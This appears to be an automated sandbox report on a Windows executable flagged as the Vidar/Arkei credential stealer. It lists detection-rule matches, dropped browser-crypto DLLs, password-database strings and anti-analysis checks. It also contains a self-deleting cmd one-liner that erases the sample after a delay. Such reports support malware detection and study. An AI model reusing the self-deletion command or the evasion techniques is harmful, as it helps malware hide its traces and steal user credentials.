Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: netapi32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: vaultcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: dbghelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: windowscodecs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\timeout.exe	Section loaded: version.dll	Jump to behavior

Source: Uin5FyPXbS.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, 32BIT_MACHINE

Source: 0.2.Uin5FyPXbS.exe.400000.0.unpack, type: UNPACKEDPE	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1651101563.0000000000401000.00000040.00000001.01000000.00000003.sdmp, type: MEMORY	Matched rule: Windows_Trojan_ArkeiStealer_84c7086a reference_sample = 708d9fb40f49192d4bf6eff62e0140c920a7eca01b9f78aeaf558bef0115dbe2, os = windows, severity = x86, creation_date = 2022-02-17, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.ArkeiStealer, fingerprint = f1d701463b0001de8996b30d2e36ddecb93fe4ca2a1a26fc4fcdaeb0aa3a3d6d, id = 84c7086a-abc3-4b97-b325-46a078b90a95, last_modified = 2022-04-12
Source: 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: Process Memory Space: Uin5FyPXbS.exe PID: 6728, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23
Source: decrypted.memstr, type: MEMORYSTR	Matched rule: Windows_Trojan_Vidar_114258d5 reference_sample = 34c0cb6eaf2171d3ab9934fe3f962e4e5f5e8528c325abfe464d3c02e5f939ec, os = windows, severity = x86, creation_date = 2021-06-28, scan_context = file, memory, license = Elastic License v2, threat_name = Windows.Trojan.Vidar, fingerprint = 9b4f7619e15398fcafc622af821907e4cf52964c55f6a447327738af26769934, id = 114258d5-f05e-46ac-914b-1a7f338ccf58, last_modified = 2021-08-23

Source: classification engine

Classification label: mal100.troj.spyw.evad.winEXE@6/15@1/1

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

File created: C:\Users\user\Desktop\MY58GDTJ

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7100:120:WilError_03
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Mutant created: NULL

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Key opened: HKEY_CURRENT_USER\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM %s LIMIT 0;
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL * FROM metaData WHERE id=$ID;
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1) VALUES($ID,$ITEM1);
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE %Q.%s SET sql = CASE WHEN type = 'trigger' THEN sqlite_rename_trigger(sql, %Q)ELSE sqlite_rename_table(sql, %Q) END, tbl_name = %Q, name = CASE WHEN type='table' THEN %Q WHEN name LIKE 'sqlite_autoindex%%' AND type='index' THEN 'sqlite_autoindex_' \|\| %Q \|\| substr(name,%d+18) ELSE name END WHERE tbl_name=%Q COLLATE nocase AND (type='table' OR type='index' OR type='trigger');
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);docid INTEGER PRIMARY KEY%z, 'c%d%q'%z, langidCREATE TABLE %Q.'%q_content'(%s)CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);m
Source: Uin5FyPXbS.exe, Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'DELETE FROM vacuum_db.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name='sqlite_sequence'
Source: Uin5FyPXbS.exe, Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';' FROM vacuum_db.sqlite_master WHERE name=='sqlite_sequence';
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: CREATE TABLE metaData (id PRIMARY KEY UNIQUE ON CONFLICT REPLACE, item1, item2);
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: INSERT INTO %Q.%s VALUES('index',%Q,%Q,#%d,%Q);
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL %s FROM %s WHERE id=$ID;
Source: Uin5FyPXbS.exe, Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT 'INSERT INTO vacuum_db.' \|\| quote(name) \|\| ' SELECT * FROM main.' \|\| quote(name) \|\| ';'FROM main.sqlite_master WHERE type = 'table' AND name!='sqlite_sequence' AND coalesce(rootpage,1)>0
Source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000006FE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: SELECT url FROM urls(n;q
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: CREATE TABLE "%w"."%w_node"(nodeno INTEGER PRIMARY KEY, data BLOB);CREATE TABLE "%w"."%w_rowid"(rowid INTEGER PRIMARY KEY, nodeno INTEGER);CREATE TABLE "%w"."%w_parent"(nodeno INTEGER PRIMARY KEY, parentnode INTEGER);INSERT INTO '%q'.'%q_node' VALUES(1, zeroblob(%d))
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_docsize'(docid INTEGER PRIMARY KEY, size BLOB);
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE IF NOT EXISTS %Q.'%q_stat'(id INTEGER PRIMARY KEY, value BLOB);
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segdir'(level INTEGER,idx INTEGER,start_block INTEGER,leaves_end_block INTEGER,end_block INTEGER,root BLOB,PRIMARY KEY(level, idx));
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: UPDATE %s SET %s WHERE id=$ID;
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s;
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: SELECT ALL id FROM %s WHERE %s;
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO %s (id%s) VALUES($ID%s);
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE "%w".%s SET sql = sqlite_rename_parent(sql, %Q, %Q) WHERE %s;
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: UPDATE sqlite_temp_master SET sql = sqlite_rename_trigger(sql, %Q), tbl_name = %Q WHERE %s;
Source: Uin5FyPXbS.exe, 00000000.00000002.1659176389.000000006096F000.00000002.00001000.00020000.00000000.sdmp, Uin5FyPXbS.exe, 00000000.00000002.1657956523.000000000EFAC000.00000004.00000020.00020000.00000000.sdmp, nss3.dll.0.dr	Binary or memory string: CREATE TABLE %Q.'%q_segments'(blockid INTEGER PRIMARY KEY, block BLOB);
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);
Source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr	Binary or memory string: INSERT INTO metaData (id,item1,item2) VALUES($ID,$ITEM1,$ITEM2);
Source: nss3.dll.0.dr	Binary or memory string: CREATE TABLE xx( name TEXT, /* Name of table or index / path TEXT, / Path to page from root / pageno INTEGER, / Page number / pagetype TEXT, / 'internal', 'leaf' or 'overflow' / ncell INTEGER, / Cells on page (0 for overflow) / payload INTEGER, / Bytes of payload on this page / unused INTEGER, / Bytes of unused space on this page / mx_payload INTEGER, / Largest payload size of all cells / pgoffset INTEGER, / Offset of page in file / pgsize INTEGER, / Size of the page / schema TEXT HIDDEN / Database schema being analyzed */);/overflow%s%.3x+%.6x%s%.3x/internalleafcorruptedno such schema: %sSELECT 'sqlite_master' AS name, 1 AS rootpage, 'table' AS type UNION ALL SELECT name, rootpage, type FROM "%w".%s WHERE rootpage!=0 ORDER BY namedbstat2018-01-22 18:45:57 0c55d179733b46d8d0ba4d88e01a25e10677046ee3da1d5b1581e86726f2171d:
Source: MGLN7QIE.0.dr	Binary or memory string: CREATE TABLE password_notes (id INTEGER PRIMARY KEY AUTOINCREMENT, parent_id INTEGER NOT NULL REFERENCES logins ON UPDATE CASCADE ON DELETE CASCADE DEFERRABLE INITIALLY DEFERRED, key VARCHAR NOT NULL, value BLOB, date_created INTEGER NOT NULL, confidential INTEGER, UNIQUE (parent_id, key));

Source: Uin5FyPXbS.exe	ReversingLabs: Detection: 95%
Source: Uin5FyPXbS.exe	Virustotal: Detection: 81%

Source: unknown	Process created: C:\Users\user\Desktop\Uin5FyPXbS.exe "C:\Users\user\Desktop\Uin5FyPXbS.exe"
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Windows\SysWOW64\timeout.exe timeout /t 5	Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Uin5FyPXbS.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, TERMINAL_SERVER_AWARE

Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdbZZ source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdb source: vcruntime140.dll.0.dr
Source:	Binary string: vcruntime140.i386.pdbGCTL source: vcruntime140.dll.0.dr
Source:	Binary string: msvcp140.i386.pdbGCTL source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\mozglue\build\mozglue.pdb22! source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, mozglue.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\softoken\softoken_softokn3\softokn3.pdb)) source: Uin5FyPXbS.exe, 00000000.00000002.1658117512.000000000F43C000.00000004.00000020.00020000.00000000.sdmp, softokn3.dll.0.dr
Source:	Binary string: msvcp140.i386.pdb source: msvcp140.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss3.pdb source: nss3.dll.0.dr
Source:	Binary string: z:\task_1542148442\build\src\obj-thunderbird\security\nss\lib\freebl\freebl_freebl3\freebl3.pdb source: Uin5FyPXbS.exe, 00000000.00000002.1651279912.00000000007AC000.00000004.00000020.00020000.00000000.sdmp, freebl3.dll.0.dr

Data Obfuscation

Detected unpacking (creates a PE file in dynamic memory)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Unpacked PE file: 0.2.Uin5FyPXbS.exe.60900000.1.unpack

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00409220 GetEnvironmentVariableA,lstrcat,lstrcat,lstrcat,SetEnvironmentVariableA,LoadLibraryA,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,

0_2_00409220

Source: Uin5FyPXbS.exe	Static PE information: section name:
Source: mozglue.dll.0.dr	Static PE information: section name: .didat
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60983000 pushad ; iretd	0_2_60983031
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60923704 push esp; ret	0_2_60923705
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_6096D990 push eax; ret	0_2_6096D9C0
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60922C64 push 83FFFFFDh; ret	0_2_60922C69
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60911F9E push ecx; mov dword ptr [esp], ebx	0_2_60911FD3
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_60987F71 pushad ; iretd	0_2_60987F74

Source: Uin5FyPXbS.exe

Static PE information: section name: .text entropy: 7.334297723135306

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Hooking and other Techniques for Hiding and Protection

Self deletion via cmd or bat file

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Process created: "C:\Windows\System32\cmd.exe" /c timeout /t 5 & del /f /q "C:\Users\user\Desktop\Uin5FyPXbS.exe" & exit			Jump to behavior

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00415FC0 GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,GetProcAddress,LoadLibraryA,LoadLibraryA,GetProcAddress,GetProcAddress,

0_2_00415FC0

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Process information set: NOOPENFILEERRORBOX

Jump to behavior

Malware Analysis System Evasion

Contains functionality to detect sleep reduction / modifications

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00408370

0_2_00408370

Found evasive API chain (may stop execution after checking computer name)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Evasive API call chain: GetComputerName,DecisionNodes,ExitProcess

graph_0-54149

Found evasive API chain (may stop execution after checking locale)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Evasive API call chain: GetUserDefaultLangID, ExitProcess

graph_0-52867

Found evasive API chain (may stop execution after checking mutex)

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Evasive API call chain: CreateMutex,DecisionNodes,ExitProcess

graph_0-52874

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_60920C91 rdtsc

0_2_60920C91

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Dropped PE file which has not been started: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Dropped PE file which has not been started: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Dropped PE file which has not been started: C:\ProgramData\softokn3.dll	Jump to dropped file

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe

Code function: 0_2_00408370

0_2_00408370

Source: C:\Windows\SysWOW64\timeout.exe TID: 2540

Thread sleep count: 42 > 30

Jump to behavior

Source: C:\Windows\System32\conhost.exe

Last function: Thread delayed

Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00401280 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,PathMatchSpecA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401280
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00401090 SetCurrentDirectoryA,wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,lstrcat,FindNextFileA,FindClose,	0_2_00401090
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040A150 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,StrCmpCA,GetCurrentDirectoryA,lstrcat,lstrcat,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_0040A150
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B570 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,FindNextFileA,FindClose,	0_2_0040B570
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_0040B110 wsprintfA,FindFirstFileA,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,StrCmpCA,StrCmpCA,StrCmpCA,FindNextFileA,FindClose,	0_2_0040B110
Source: C:\Users\user\Desktop\Uin5FyPXbS.exe	Code function: 0_2_00407620 wsprintfA,FindFirstFileA,lstrcat,StrCmpCA,StrCmpCA,wsprintfA,StrCmpCA,wsprintfA,wsprintfA,wsprintfA,wsprintfA,lstrlen,PathMatchSpecA,CopyFileA,DeleteFileA,PathMatchSpecA,CopyFileA,DeleteFileA,FindNextFileA,FindClose,	0_2_00407620
